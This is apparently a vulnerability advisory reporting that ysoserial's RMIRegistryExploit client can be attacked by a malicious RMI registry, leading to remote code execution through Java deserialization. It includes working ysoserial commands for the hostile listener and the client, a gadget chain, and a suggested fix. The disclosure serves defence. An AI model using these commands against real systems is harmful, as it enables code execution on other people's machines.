Arbitrary Remote Code Execution in RMIRegistryExploit

Using RMIRegistryExploit to exploit a malicious rmi registry may lead to rce on client.
### Demo
First,start a malicious registry:
```bash
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe
```
and using RMIRegistryExploit to exploit it:
```bash
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit localhost 1099 CommonsCollections6 whoami
```
and calc will be executed on client.
### Analysis
RMIRegistryExploit uses registry.list/bind, which triggers unserialization. So malicious registry can attack client with gadgets in ysoserial,such as commonscollections.
Gadgets chain:
RegistryImpl_Stub#list->UnicastRef#invoke->StreamRemoteCall#executeCall->ObjectInputStream#readObject
### Fix
Rewrite socket to implement JRMP connections, just like what ysoserial.exploit.JRMPClient does.